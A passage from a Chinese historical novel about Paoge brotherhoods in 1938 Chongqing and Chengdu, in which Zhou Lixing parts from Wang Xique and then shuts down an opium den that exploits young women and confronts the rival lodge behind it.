一时间,大街上响起了打斗声,尖叫声,被锐器刺破身体的闷哼声,胆小的开始四次奔跑,胆大的却在一旁驻足围观起来。
周立行一个人冲进去,面对剩下七人的围攻毫无惧色,他灵活矫健,下手狠,不消一会儿竟将所有人放翻。
然而,背后响起了一整排拉枪栓的声音。
周立行站在王喜雀面前,额头上的血沿着眼角滑落了半张脸。
王喜雀哽咽着看向他,整个人都在发抖。
她的眼神十分复杂,紧张、担忧、不舍和热烈的感动融合在一起,仿佛一杯陈酿,不用喝都能熏得人醉。
周立行觉得自己的舌尖在发酸,他再一次恨自己的无能。
周立行的背后,大开的会馆大门里,涌出了一对拿着枪支的袍哥,黑洞洞的枪口对准了他们。
明礼公口的五爷从里面踱步而出,向四周围观的人们拱手,沉眉耷眼的模样颇有杀气:
“各位,还请散去,子弹不长眼睛哦!”
周立行转身,抹了一把眼角和半边脸上的血,昂起了下巴:
“成都忠义堂纪纲周行善,护送王喜雀王夫人来重庆寻人。不知是我忠义堂犯了十条,还是王夫人要遭你们绑票?”
五爷有些吃惊,“啊?你是青大姐的弟弟?怎的又姓周?”
周立行嗤笑,“我姐姐小时候被卖了,名字都换了十七八个,难不成你以为她姓青?”
五爷顺水推舟做了个失敬的礼节,“误会,误会啊,还请各位进会馆一叙,木老板已经提前回来,他确实是搞出了误会,要好好赔偿各位呢……”
青竹叶的心,如同她打翻的那一杯茶一般,滚落几圈,最终是摔碎了。
“弟娃……咋办……”青竹叶声音有些发抖,她掏出手绢给周立行擦血,她不敢去看王喜雀,生怕自己当场落泪。
周立行深深呼吸了一口,使劲闭上眼睛再睁开,“进去再说。”
他只有一个人,进了这会馆,不知道有多少人守在里面。
他只有一把枪,抢人是不可能的,若是要挟持木茶商,也得出其不备才行。
不然,王喜雀、青竹叶、孙婆子……他没办法一次带走三个人,不管把谁留下,他都会良心不安。
王喜雀深深地看了周立行一眼,本想说什么,最终还是没说出口。
现在的局面,她已经不适合再开口说话了。
周立行稳住了心神,和青竹叶一起走进去。孙婆子担忧地看到他们,眼泪连连,却不敢说话,只能低着头跟着他们走。
50.重庆
会馆里,雕梁画柱与水泥红砖中西合璧,来往的护卫都穿着制服别着枪,果然如周立行所想,这里好进不好出。
周立行走进大堂的时候,五爷已经笑呵呵地坐在主位上等着了。
王喜雀神色麻木地坐在下座里,四周只站着一些袍哥兄弟们,还有两个掺茶倒水的小丫头,并不见木茶商的踪影。
周立行向座上的五爷行了个礼,“三十六块板子,七十二根钉子,船上有舵把子!千里不用柴和米,万里不用点油灯,天下袍哥是一家!护送观音来贵地,未曾有空拜码头,还请各位哥老官见谅。”
五爷起身,回了礼,微胖下垂的脸上是温和的笑意,丝毫看不出不久前他才将手中的核桃砸得细碎。
“忠义堂的纪纲行善,我听闻过,方团长出川之前最是看中你这个小师弟,今日一见,果然人间俊杰呀!请坐请坐。”
五爷冷脸的时候看起来怒目恶相,笑起来却带上几分慈祥姿态,两张脸转换得自然无比。
周立行请青竹叶先坐,然后才入座,他也不绕圈子,直接问道,“五爷客气。不过,这是要演哪一出?”
不等五爷回话,周立行已经自顾自地说了下去。
“这位夫人王喜雀,是我的主顾。我亲自送她和老仆孙婆子来的重庆。重庆这边偶遇我失散多年的姐姐,于是一边替王夫人寻人,一边跟姐姐同住。今日这一遭,还真的是莫名其妙。”
“怎么,那个遭瘟的富商,先是看上我的寡妇姐姐,又看上我的主顾夫人?”
五爷抚掌大笑,“都说是误会了。木茶商刚从武汉死里逃生,因以前跟我们公口做过生意,这段时间在这里落脚养伤。几日前见到了青大姐,觉得眼熟,这才闹了误会。”
“不过阴差阳错,正好寻到了他真正的姨太太,也就是这位喜雀夫人,想来喜雀夫人也是出来寻夫的吧,兵荒马乱的,能有这般痴情佳人记挂,木老板也真的是好福气呢。”
五爷一张嘴,横竖都能说,这会儿他完全是按息事宁人的方向在拉扯。
周立行眸色冰冷,显然是没有听进去的,“那还真是巧啊。要是没找到王夫人,就要拿我姐去凑数当青夫人,是吗?”
“喜雀夫人,你来说吧。”
五爷看着周立行的眼神,觉得背脊上汗毛倒数,干脆把话丢给王喜雀去说。
王喜雀这才回神,她看向周立行,眼睫毛是湿的,眼神也是悲戚的。
周立行捏了捏发抖的手指,稳住自己的声音,“喜雀……夫人,这到底是怎么一回事?”
王喜雀的嘴角颤动了几下,眼中有哀戚,有无奈,也有决绝,她过了好几息才开口:
“我本是来重庆寻夫的,此刻寻到了。”
“我留下来照顾丈夫,暂时不回成都了。你可自行回去,算作任务完成了。”
周立行攥紧了椅把手,并不罢休,“拿人钱财,与人消灾;受人之托,忠人之事。我接的任务是平安护你来,平安送你回。你不走,我便也不走。”
五爷觉得有意思,乐呵呵地听他们聊天。
青竹叶观察着会馆,这正是她昨日白天里来的地方。现在王喜雀被带过来了,那个木茶商却和昨日一样躲起来不见人。
锤子,真的是个乌龟王八蛋!怎的日本人的飞机不炸死这个黑心烂肺的东西!
她细细打量了一会儿,总觉得木茶商一定躲在房间的哪壁墙后面,正看着这一切。
眼下见五爷息事宁人的态度,还有王喜雀这个说法,显然是木茶商不打算惹周立行这个有亡命之徒气息的袍哥,刚刚外面一个人挑翻十来人的架势,要是周立行真的记仇,迟早能把木茶商给干掉。
劲敌自然最好是化敌为友……但若是情敌……不行,不能让他们看出来周立行对喜雀的态度,否则木茶商说不准会不会针对周立行,喜雀姐今晚就容易被弄死。
青竹叶飞速地思考着,她很快做好了决定。
“木夫人,我弟弟是个死脑筋,做事儿容易钻牛角尖。”
青竹叶勉强笑了笑。
“既然木夫人找到丈夫了,那便是皆大欢喜。若是你们真的不需要我弟弟了,大可以多给点酬金嘛。弟娃到娶媳妇的年纪了,彩礼可是要多准备的,娶媳妇得买地买房吧,以后孩子们穿衣读书,哪样不要钱啊,得让我弟弟去打理这些,都得用钱。”
王喜雀和青竹叶四目相对,两人都迅速明白了对方的意思。
王喜雀意会,青竹叶打算让周立行带上她那份钱财,按照她原来的计划继续推行,去乐山买地办厂,筹备后路。
青竹叶也从王喜雀的态度里猜到,王喜雀为了大家,决定稳住木茶商。虽然不知道中途发生了什么,但木茶商显然此刻是有惧怕,才会躲起来不出面。
毕竟木茶商只是个商人,面对有枪的敢杀人的袍哥混不吝,总是要退避三舍的。
“这……得家中主人说了算……”王喜雀故作迟疑。
五爷在一旁马上跟话,“这是应该的,我们还惊扰了青大姐,木老板说了,姐弟俩都要给双倍补偿呢!”
王喜雀点着头,“那便好,这些日子住在青大姐家中,道谢了!”
五爷一拍手,两个小丫头端着两盘子银元上来,青竹叶毫不客气地把几十块银元装进袋子。
“弟娃,给,备着当彩礼啊。”
她把钱递给周立行。
周立行看了一眼钱袋,看了一眼青竹叶,再看了一眼王喜雀,最后看了一眼四周。
他知道,五爷背后的墙是空的,里面还有人。
他能听到那些细微的声响,还有枪支架好的声音。
他不知道王喜雀是怎么被带来的,也不知道王喜雀是怎么跟这些人解释的,此刻多说多错。
他带不走喜雀姐,喜雀姐也不打算跟他走。
周立行看了看自己的衣服,上面还沾着血,他额头上和肩膀上都有伤,虽然不重,但迟来的钝痛也是痛。
他的沉默和肢体动作,让五爷误以为他还没有满足,只得咬咬牙又拍了拍手,外面又走进来一个小丫头,再端进来了一盘银元。
青竹叶毫不客气,拉开钱袋就装。这次再递给周立行的时候,她故意踩了一脚周立行的脚,示意他适可而止。
周立行伸出手,接过钱袋,莫名地想到他离开柳江的时候,姨妈给的小钱袋。
他涩然一笑,看起来有些腼腆,压住了眼底的哀伤,“还挺多的。”
五爷心中你还真是水仙不开花—装蒜!故作姿态的样子比自个儿还纯熟!
于是五爷不阴不阳地打趣道,“那是,这钱都够买好几些黄花大姑娘咯!”
下江人的闺女,穷困的家庭,一块银元都能卖小女儿呢!
周立行不再说话,他收起钱
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袋,面上已经没了任何表情,青竹叶站起来,他跟着站起来。青竹叶往外走,他也跟着往外走。
他想回头,想再看一眼王喜雀。
可是,不行。他不可以。
走出商会大门的一刻,雾气突散,阳光刺目,周立行看不清眼前的路。
*
失魂落魄的周立行回到青竹叶的住处,沉默地听完木铜铃和阿涅的叙述。
原来他和青竹叶走了没多久,木茶商就带着一群人来了。
木铜铃透过门缝认出了木茶商,进去告诉了王喜雀,王喜雀让木铜铃和孙婆子藏起来。
孙婆子却说只要木铜铃藏就行,她是一定要陪着王喜雀的。
王喜雀跟孙婆子说她们一定要咬紧口风,就说是来重庆寻木茶商的。遇到青竹叶只是偶然,毕竟谁也想不到周行善是青竹叶的弟弟。
她们这边刚说好,那边木茶商带的人翻墙进来开了门,而木茶商根本没给王喜雀说话的机会,就先带人打了孙婆子一顿。
最后是阿涅对着天放了一枪,才镇住了在场的人,让王喜雀有了说话的机会。
不管木茶商信没信这个说词,阿涅手里拿着枪,他也没豪横到可以指挥带来的袍哥开枪打死别人的地步,事态总算是得到了控制。
至于木茶商是什么时候遇到青竹叶的,又跟了多久,没人知道。
“我们双方的说词都对得上,那狗东西疑心再多,也找不到实证。成都那边的人都跑完了,他想要收回成都的产业,还得把喜雀姐带在身边。”
青竹叶分析着,也是宽慰周立行。
“至少喜雀姐性命无忧,一切都可以从长计议。”
周立行点点头,“我再留几日,看看他们还有没有其他动作。若是没有,我便将喜雀姐的财产带回去,按她之前的计划,该做什么做什么。青姐,你放心,我有分寸。”
青竹叶自然是放心周立行的,她只是有些心疼这个弟娃。她能懂王喜雀那份被吸引却不敢越雷池一步的谨慎,也能懂周立行克制隐忍之下是何等的难熬。
这世上芸芸众生,大多是无可救药的庸俗,可总有一些人是痴情种,认定了就回不了头。
阿涅圆溜溜的眼睛左看右看,他看不懂,索性去找伤药给周哥用。
接下来的几天,风平浪静。
木茶商并没有什么动作,他一直龟缩在会馆里,门都不出,生怕谁会报复他一般。
而后有一天,青竹叶听齐幺哥说,木茶商大清早地带着姨太太和老婆子,买车票回成都了。
周立行闻讯后,和青竹叶告别,带着木铜铃和阿涅也买了回成都的票。
青竹叶把他们三人送到车站,挥着手道别,“弟娃儿们,路上注意安全,照顾好自己啊!”
周立行又一次地心中不安,他从车窗里探出身子,抓住了青竹叶的手,“青姐,不要那些产业钱财了,也别管那些妹子了,你跟我们一起走……”
青竹叶笑了,她天生一双剑眉,笑起来也英气十足,嘴角的酒窝甜甜的。
“现在还不行,以后要是有机会,我会来找你们的,再见了啊!”
1938年9月底,周立行离开了重庆。
1938年10月,日本轰炸重庆市区,自此拉开了长达六年多的无差别大轰炸,数万平民死于空袭,血染长江水,魂葬十八梯,故人再无相聚日。
51.成都
回到成都家中的周立行,终于和等候他几日的谷娃子、石娃子碰上了面。
这几日,谷娃子和石娃子心急如焚,二人轮流守在周立行家中,生怕再次错过。
周立行带着阿涅回家,见大门开着,心里纳闷,刚一走进去,就看到石娃子蹲在地上汪汪大哭。
谷娃子扭头看到周立行,赶紧拽着石娃子往这边跑,石娃子被拽得连扑带爬,差点没摔个狗吃屎。
“行善哥,快帮下石娃子!快帮下莲妹儿!”
谷娃子喊得声音都破了,听得出来是十分紧急。
周立行一把抓起石娃子的衣领,把人直接拎起来,穿过院子,走进堂屋放到椅子上,才蹙眉询问:
“发生啥子事情了?”
“呜哇哇……”
“莲妹儿!莲妹儿被卖进大烟馆了!”
石娃子嘴笨,见到周立行更是委屈,一口气憋在心里只晓得哭。
谷娃子只得帮着回答,“行善哥,你出去一年多,堂口……堂口没了舵把子,走偏路了……”
周立行的脸色瞬间黑沉下来,“说仔细点!”
谷娃子一脸痛心疾首,“堂口为了挣钱,入股了花烟馆……”
周立行心中咯噔一声,脑海中瞬间回忆起当初刘愿平来邀请他去云南时,陈三爷那略微思索后从眼底浮现出来的喜色。
同时,他也想起了方结义出川之前,向他说的那些话。
【人心易变,时过境迁……我这一走,下面的人会怎么样,谁也说不清楚……】
“他们是真的敢!”周立行怒不可遏,他一拍桌子站起来,转身便要去拿他的包铁红棍。
谷娃子赶紧地拉住周立行,“行善哥!小八爷!你别急,今晚他们要开堂内的宴席,说是知道你在重庆那边报过忠义堂的名号,晓得你要回来了,给你正式接风洗尘……你先听说讲完,先听我把这一年多的事情讲完……”
周立行不是鲁莽之辈,他努力压制着自己越来越急促的呼吸,努力放松浑身越来越紧绷的肌肉,强迫自己坐回位置上。
重庆,名号……周立行叛逆心起,呵呵,以为拿这件事可以压他?!
“你说。”周立行运气,几息调整好呼吸,让自己冷静地听完前因后果。
“行善哥,你还记得光耀堂的冯显贵冯舵把子不?冯争鸣的野爹。”
这周立行肯定记得,他和冯争鸣,也算得上朋友。
“当初光辉堂舵把子被不明人士枪杀在新开的烟馆里,你和冯争鸣那天晚上……”
谷娃子顿了一下,不知道该怎么讲,按理说这事儿的消息不应该被泄露出来的。
“总之,在你去云南之后,这边有了些谣言。虽然冯争鸣不承认,但忠义堂这边内部有些蛐蛐拱拱。”
谷娃子尽量捡简单的说。
“然后,冯舵把子找了陈三爷,不知道说了什么。之后,陈三爷就和冯舵把子联手了。”
“他们先是合开了大烟馆……邢五爷自己本身就抽大烟,他没有反对;代六爷听陈三爷算完账之后不置可否,姜九爷是十分的赞同,剩下的车十爷一开始不同意,陈三爷说忠义堂只是去入股,不是自己开馆,不算的毁诺。”
“然后没过两个月,车十爷跟家里人喝醉了酒,被他侄儿给带到一家赌场,欠了高利贷。”
周立行听得冷笑,“光耀堂的赌场,对吧?等车十爷清醒了,自己按了手印的欠条放一堆了,对吧?”
谷娃子满脸愁容,“是啊,听起来觉得车十爷应该是被坑了……但车十爷也是老袍哥了,平日里只是小赌,从未去自家堂口外赌过,也不知道这醉酒是真是假……”
周立行点头,表示他知道了,“然后呢?烟妓馆,莲妹儿,又是怎么回事?”
一说到莲妹儿,石娃子抓住了关键,赶紧用袖子擦了鼻涕,瓮声瓮气地抢话。
“莲妹儿是咱们巷子一块长大的妹儿,前面两个姐姐都嫁人了。前段时间一家人都生了重病,为了救唯一的弟弟,莲妹儿的妈老汉儿去找堂口借钱……”
一边说,石娃子眼泪吧嗒吧嗒便落下来了。
“三爷说,方大爷带出去的人战死了好多,国民政府那边没下来什么抚恤金……”
“堂口这边,又要抚恤死亡兄弟的双亲妻儿,又要按方大爷的规矩给外出打仗的兄弟们家里给月俸……”
“钱不够,借不了,便说给莲妹儿介绍个做工的地方……”
周立行无语至极,竟是笑了起来,“这么大一个堂口,钱再不够,也不至于街坊四邻借个救命钱都出不了!他们不会把莲妹儿介绍去那个合开的烟馆了吧?!”
见周立行一猜一个准,谷娃子把头埋下去,细声细气地说,“总之奇了怪了,反正莲妹儿的爸妈跑了一整天,四处都借不到钱,附近的医馆也不赊药,他俩本来也病着,没办法奔波……”
“就没有一个人帮个忙?”周立行冷笑起来,“怕是有人打了招呼吧,谁都不敢出头。”
谷娃子耷拉着头不敢接话,石娃子呆愣愣地左右看,“啊?是吗?”
“莲妹儿实在没办法,便去了那烟馆当女招待。你知道的,那里到处是抽鸦片的,进去的人都会沾染上鸦片烟瘾……”
周立行手背上的青筋蹦出,抓得木椅嘎吱嘎吱作响,“然后呢?”
“原本那些个都只有十来岁的女孩子们,都以为自己是去干正经活儿的。然而大烟本就有催/情作用,烟客们吸上头了跟畜生也没什么区别……这烟馆开着开着就成了花烟馆……也就是烟妓馆……”
“莲妹儿去了那里,我和石娃子一开始不知道,后来发现好久都没有见莲妹儿,去问嬢嬢,才晓得……”
“我们去找莲妹儿,莲妹儿哭着说她不想干了,可烟馆说提前预支了五年的薪水,必须要干满五年才放人!”
说道这个,石娃子咬牙切齿。
“锤子!我们堂口的街坊邻居,他光耀堂凭啥子扣人!我们回来找陈三爷,赎金我跟石娃子出都行,请陈三爷帮忙出个面,把莲妹儿接回来……”
说到这里,谷娃子也落了泪,“石娃子是我一起光屁股长大的兄弟,莲妹儿是我们的姊妹……石娃子喜欢莲妹儿,我想帮……可是陈三爷和我们的父兄都说,这事儿帮不了……”
“怎么会帮不了呢……方大爷一走,他们咋个就变了呢……”
这下周立行真的是勃然大怒,他站起来,一脚将木凳子踢翻,“好,很好!我现在就去找陈三爷和邢五爷问问,他们到底是要干什么!”
说完,周立行就要往门外冲,谷娃子和石娃子赶紧扑上去,一人抓住一条腿,你一言我一句急切地劝道:
“呜哇哥啊!不冲动啊……要出大事的……”
“你回来了,这事儿就有转机了!”
谷娃子死死地拽着周立行,跟着嚎啕大哭起来,“哥啊,方大爷在外面出生入死,咱们在这里可不能乱了阵脚,不然怎么对得起方大爷啊……”
周立行拳头捏的嘎吱嘎吱响,他一脚一脚拖着谷娃子和石娃子到了院子里。
他不后悔去参与了滇缅公路的修建,可他真的想不到,一个原本可以忠义和荣耀立身的堂口,竟然走了黑路。
但这事儿,他去找陈三爷和邢五爷,真的就能解决吗?
他们可是备好了酒宴,说要迎接从【重庆】回来的自己呢!
自己做错了事情,还敢给我摆鸿门宴?!
周立行呼吸越来越重,在一个瞬间,他突然笑了出来。
周立行和谷娃子石娃子在这里闹着,阿涅一直端着一盘瓜子在旁边嗑。
一来阿涅年纪小且语言不熟,不是很能听懂周立行三人在说啥,二来他也不知道自己能参与什么。
于是,周立行三人还在呜啊哇的时候,他听到门口有人轻轻敲门后走进的声音,便走出院子,询问来人:
“找哪个?”
那来人也是个十排老幺,他正好听到了后半段谷娃子石娃子的哭嚎,整个人有点不太好。
“奉陈三爷的话,来请小八爷去吃晚饭。”那小老幺满脸尴尬,脚步一转,便要开溜。
“站住。”周立行笑得渗人,见忠义堂有来人,正合他意。
“回去跟陈三爷说一声,我还有个事要办,办完再来,请他们等我。”周立行微微抬了抬下巴,眼神有些疯狂,话
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说得却十分温和。
“一定要等我,我给他们备了一个大惊喜呢。”
小老幺被周立行的气势吓着,点头哈腰地倒退着跑了。
周立行不再留手,两脚蹬开石娃子谷娃子,进屋翻自己的箱子,他此番从云南归来,也是带着许多行李的,其中便有他从林玉道那里要来的许多东西。
石娃子看不出来周立行要干啥,他脸谱带爬地跟上去,嘴里还在呜呜哇哇地叫着请周立行去救他的莲妹儿。
谷娃子跺脚骂了一声先人板板,一咬牙,都是兄弟大不了同年同月同日死,也跟了上去。
周立行带好东西,拿起他的包铁红棍,就这么杀气腾腾地出了房门。
*
长生馆中,宾客们正在吞云吐雾,一旁强颜欢笑的女招待们或在裹烟土,或在洗烟具,也有被压着发泄□□的,或是被管事拿着竹鞭打的。
这看似享受的一切,被一道踹开大门的声响打破。
大烟馆里,自然随时养着一帮打手。
一听有人上门踢馆,呼啦啦地涌出来十多人,有的拿棒、有的拿刀,为首的人大声喊道:
“敢问兄弟,是有私仇逮人,还是公事踢馆?此处是我光耀堂的生意馆子,来往客人三教九流亦有权势……”
周立行脚步不停,气凝丹田,上前一棒挥出残影,一招便把这人打趴下。
现场所有人都被惊呆,这人怎么不走流程!
周立行根本不等他们有什么反应,用来惩戒犯错袍哥的包铁红棍挥得虎虎生风,直奔那群打手而去。
烟馆里抽大烟抽瘫了的人被一阵咣咣梆梆的声音惊起,有些衣衫不整,有些惊慌失措,大家你推我赶地从各自的包间里涌出来,眼见着的,便是一个半大青年杀气腾腾地挥着包铁红棍,明明看人数是他被十余人围攻,实际上却是他一人追着十余人打。
刀匕被挑飞,棍棒被踹断,周立行一人干翻十余人,将心中那股恶气出了一通,面对满地骨折断手断脚痛苦翻滚的烟馆打手,他才将手中红棍往地上那么一杵,冷淡地开口。
“忠义堂代八爷,方结义的拜弟,黑老鸹的干儿子,周行善。”
“忠义堂方结义舵把子,出川抗日前,给堂口定过规矩:不沾烟土买卖,不做皮肉生意,不整绝后贷。”
“我今日代表忠义堂前来,做三件事。”
“一,关店。”
“二,放人。”
“三,退股。”
“做完这三件事,我自会去光耀堂。”
“你们要是想替堂口尽忠,尽可以拦我;你们不动枪,我也不动;你们若是动枪……”
周立行微微偏头,露出一个森冷的微笑,他身后的谷娃子和石娃子手里拿着两枚美制马克1型手榴弹。
“那就大家一起死。”
本还有人见周立行一个人只带了两个小弟,正准备偷偷摸摸地拿枪,看这架势,顿时偃旗息鼓。
“诸位贵客,今日出门没看黄历,遇到我这生事之人,算你们倒霉。”
周立行对那些烟鬼们做了个请的姿势,“你们可以先走。”
那群烟客们大多被吓得噤若寒蝉,生怕周立行一个不如意,带着大家一起死。
眼下见周立行让他们走,一个个的赶紧呼朋引伴逃离。
有心明眼尖的门房,混在这些烟客中跑了。
周立行看着,也没说什么。
烟馆的掌柜哆哆嗦嗦地站出来,作揖劝道,“小八爷,您和咱们光耀堂的争鸣大少爷是兄弟,何必这样闹呢……”
周立行上下打量这位市侩精明的掌柜,“什么兄弟?我跟方结义一个辈分,他跟冯显贵一个辈分吗?”
烟馆掌柜愣住,“啊……额……哪个……小八爷,咱……”
“关店,或者,我把你的腿也打断。”
烟馆掌柜发现周立行油盐不进,只能唉声叹气地喊还能动的几个男账房去关店门。
周立行不跟烟馆掌柜废话,他走到烟馆大堂的太师椅上大马金刀地坐下,左手持棍,右手持枪,微微伏低身体,眼睛盯着那掌柜。
“石娃子,去把所有的女工都喊出来。”
52.成都
石娃子做事,虽然愚笨,却从无缺漏。
周立行说女工,石娃子便一个房间一个房间地去找,除了十来个女招待,还有一个女厨娘和一个女管事,也被一起带了过来。
这些女招待都是十六七岁的年轻姑娘,大多涂脂抹粉、衣衫凌乱,有些眼里含着泪,有些嘴角挂着血,有些露出来的胳膊上,长起了杨梅大疮。
周立行看向长了杨梅大疮的女孩子,她们年纪轻轻,已经头发脱落,面容损毁……这些肮脏烟闝客们的传染病,不到一年,便要吞噬这些无辜女孩的性命。
莲妹儿也在这群人里,她颧骨上有淤青,手腕上有伤痕,眼神却放着光,她一直看着石娃子,却不敢开口说话。
“我兄弟的姊妹,在这群人里。”
周立行转头,看向烟馆掌柜,“你呢?你有亲姊妹、亲侄女、亲女儿在这里做工吗?”
烟馆掌柜弯着腰,擦着额头的汗,“误会,误会啊!要是知道有小八爷的熟人在,早就给您送回忠义堂了呀……”
周立行像是听到什么天大的笑话,大笑起来,“我是什么很有面子的人吗?”
“您都说了,您是方舵把子的拜弟,是黑老鸹的义子,是忠义堂的代八爷……舵把子们带人出川的,哥老会哪个堂口都要给面子的……”
“是啊,只要我方大哥还没有战死,按理说,大家应该要给我三分薄面啊。”
“反正我年纪小,身份高,脑子轴,又没什么牵挂,本就应该跟齐天大圣一般,把天宫砸了也出不了事。”
周立行站起来,手中的棍和枪依然拿着,他抬起手中的红棍,指向在场的所有人。
“所以,今日的薄面,我就一次性的收了。”
“姊妹们,想走的,现在立刻走。你们不必担心光耀堂报复,今日的事情我周立行一人担了。”
“若是无处可去,可以到黑老鸹的院子里先住着,我周立行会给你们一条出路。”
莲妹儿看向谷娃子和石娃子。
谷娃子猛点头,石娃子也跟着做口型,示意莲妹儿抓住机会。
莲妹儿也不耽搁,立刻跪下磕了个头,“谢小八爷!”
然后莲妹儿转头便冲了出去。
有莲妹儿一带头,剩下的女孩子们也是跟着窸窸窣窣地磕了头,立即跑了出去,她们没有四散而去,都是追着莲妹儿走的。
“石娃子,你去送她们。”
周立行吩咐着:“告诉阿涅,给几位生病的姊妹先用药。他知道该用什么。”
石娃子应声去了,周立行便向烟馆掌柜办第三件事。
“最后一件了,退股。”
烟馆掌柜苦笑,“八爷,这事我说了不算。烟馆里最多的是鸦片,每日的现金现银都是堂口收了的……这退股,您怕是要去堂口退……”
周立行一脸认同地点头,“有道理,那就按你的吩咐,去光耀堂吧。”
*
早一步随着烟客们跑出去门房,已经将周立行打上烟馆的事情,快速地报到了光耀堂。
光耀堂的冯显贵得知消息,气得砸了一套茶具!
他以为,趁着周立行离开,他跟忠义堂现在主事的陈三爷一起把开烟馆这事儿生米煮成熟饭,只要大家利益纠葛绕到一起了,周立行就算不乐意,也只能认。
他是无论如何也没想到,平时里看起来默不吭声、毫无主见一般的周立行,能干出这般红黑不认、直接上门开打的莽撞事情!
“狼心狗肺的东西,亏得争鸣还把他当兄弟!”
冯显贵骂骂咧咧,“去把堂里的好手都叫回来,我倒是要看看,这个青沟子要上门干出什么事情来!”
光耀堂的丁五爷赶紧去召集人手,出门之后眼珠子转了一圈,他是冯显贵的舅子,也就是冯显贵正房老婆的哥哥。
眼下,他倒是想到了一个一箭双雕的好办法。
丁五爷阴险一笑,招手,让手下过来,“去学校,把冯大少爷请回来,就说——周立行打到光耀堂了,冯舵把子很生气,说不定要毛人。”
光耀堂这边摆好了阵仗,堂口召回了附近的弟兄,遣开了无关人等,自堂口大门开始到内院正堂,沾满了拿着刀枪棍棒的袍哥。
周立行提着红棍,一步步地从街上走进大门,身后只跟了一个紧张到脚步发抖的谷娃子。
然而谷娃子抖归抖,却始终跟上了周立行的脚步。
周立行是故意这么慢悠悠走着来的,他不仅走在大街上,还扛着一面旗子。
旗子是从烟馆那拿的一面黄底红边的招旗,上面的黑色墨字是他亲自写的:忠义。
街上的人看着他拿着包贴红棍,扛着忠义旗,都会好奇地驻足观看。
而周立行,一边走,一边高声地喊,谷娃子跟在他后面高声地应和:
“忠义堂三不做!”
“三不做!”
“不沾烟土买卖!”
“不开烟馆!”
“不做皮肉生意!”
“不开妓院!”
“不整绝后贷!”
“利息公道!”
“忠义堂三不做……”
光耀堂的人们,从未和周立行有过什么正面冲突,根本不知道周立行做人做事是个什么风格。
他们以为,能让冯争鸣大少爷看上眼的人,肯定是跟冯争鸣臭味相投,脾气暴烈。尤其是周立行刚刚去踢了大烟馆,那肯定是二话不说就开打的主。
丁五爷本以为,周立行会跟去大烟馆一样,上来先打一架再说。
他们严阵以待,做好了群攻而上,教训周立行一顿的准备。
等他们看着周立行和谷娃子就这么沿街喊过来的时候,才知道大事不妙。
周立行的确只带了谷娃子一个人,但忠义堂多年在成都各方经营,尤其是方结义自备武器粮饷、带人出川抗日,那是引得八方民众称赞的事情,在方结义的带头下,好些堂口都直接投军了。
如今,周立行扛着忠义旗,在街上这么呼喊着,自然而然就跟来了许多的人。
有人是纯粹看热闹的,有人是其他堂口觉得事情不对劲要跟来一看究竟的,有人身份存疑像便衣警察,有人满脸严肃看不出来路却颇有行伍气息,还有些平日里爱在大街上游行演讲的男女学生们,总之,乌泱乌泱一大群人。
这样的对比,搞得在街道左右清场严阵以待的光耀堂,像是个憨包儿。
周立行走到光耀堂门口,把旗子递给身后声音都喊得有些嘶哑的谷娃子,他将棍子往地上一杵,停下脚步。
“忠义堂,代八爷,周行善。”
“我去滇西修筑抗战公路,一年多,路通人才回。”
“忠义堂方舵把子带兄弟们出川前有令:忠义堂,不开烟馆,不开妓院,不放绝后贷。”
“今日,我周行善代表忠义堂,前来光耀堂,退股——!”
周立行已经喊了一路,声音却毫不受损,依旧郎朗高声,字正腔圆,他用那唱船工号子、唱山歌般的发声,从丹田到头腔,仿佛自带扩音大喇叭,喊得一个街道都能听得清清楚楚。
大门口的袍哥们本想冲出来围殴,没冲出来两步,见到周立行身后浩浩荡荡的围观人群,愣住了。
等周立行话一说完,他们就无法再主动出手了……
丁五爷狠狠地跺了一脚,暗道周立行竟是个腹黑!他阴着脸从门内走出来,一口气憋在他的心口,他抽搐着嘴角向周立行身后议论纷纷的人群抱拳。
“各位叔伯婶嬢、兄弟姊妹,今日忠义堂八爷上门,既无拜帖,亦无告知,着实让我光耀堂惶恐……还请各位给个面子,此时,待我光耀堂冯舵把子和忠义堂的各位爷们一起相商……”
周立行杵着棍子笑了,“我忠义堂内部怎么商量,是我们自己的事儿。”
“今日我既是来了,就必把这股退了。”
丁五爷被下了面子,心中烧起了一股子火,便有些口不择言起来:
“恕我冒昧,小八爷,你虽然是方结义的拜弟,也是堂口的八排代理,但你还做不得忠义堂的主。”
“忠义堂入股光耀堂的长生馆,是你们忠义堂开了堂会
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,诸位留守堂口的爷和各排骨干们一起议定的,这合作协议,也是诸位签字的,甚至盖了堂口的印信。”
“袍哥人家,认黄认教,言而有信!你这样子做,哪个以后还敢跟忠义堂合作?”
周立行嗖地抬起棍子,指向丁五爷,“你的意思,是我忠义堂里的各位爷和各排骨干们,为了和你们光耀堂合作,竟然一起犯了十条十款?”
周立行扣过来的这口锅,比丁五爷的锅大多了。
丁五爷没太懂周立行的逻辑,一不小心就问道:“你啥子意思?我可没这样说……”
“不遵上令:舵把子在外御敌,生死未卜,堂口诸位竟勾结外堂,违令乱行。”
“以大欺小:欺我周行善不在堂口,既无通信,亦无相商,便定这违令之约。”
“你说的袍哥人家,认黄认教。认的是啥子黄?落的事啥子教?”(认黄:守信诺;认教:讲规矩)
“答应舵把子的事情结果乱整,这是认黄认教?”
“难道,我忠义堂的事情,要你们光耀堂说了算蛮?你们是要趁着方舵把子不在,主了我们忠义堂的事吗?”
周立行句句如刀,砍得丁五爷节节败退。
丁五爷面色通红,他指着周立行,却不知道该如何回答。
他是真的想不到,周立行不但不给光耀堂面子,甚至连忠义堂的面子也不给,竟然是两边都往死里逼!
滴滴的汽车喇叭响起,街道上缓缓驶来一辆急吼吼摁着喇叭的汽车。
众人的注意力被汽车吸引去,人群在急促的喇叭声下分开来,让那汽车行驶到前面。
车辆还未停稳,白白胖胖的陈三爷、黑黑瘦瘦的邢五爷以及高大宽厚的车十爷都冲下了车。
陈三爷昨日晚上知道周立行回来了,今天晚上正好给他做了个接风洗尘的宴席。
当初他得知周立行回来了,心中也是有些发虚的,隔一日听说周立行跟着王喜雀去重庆了,陈三爷可是高兴了一阵。
他以为自己手里有周立行的把柄了,这下周立行肯定跟车十爷一样,大家都能站在一条船上。
他以为自己只是入股,算不得违背方结义的命令,忠义堂只是做投资而已。
他以为周立行从重庆回来,就算知道了这件事,就算要发脾气,也是先跟他陈三爷闹一闹,堂口里发发飙。
真是天不知地也不晓,周立行平时看起来稳重自持,发起疯来竟这么惊天动地!
竟然就这么毫无征兆!就一个人去闹人家的烟馆,还猛得一匹要去挑人家的堂口!!!
这是要死人的啊!!!
“行善兄弟!你这是要搞哪样啊!!”陈三爷当真是痛心疾首,他都不知道这事该怎么收场了。
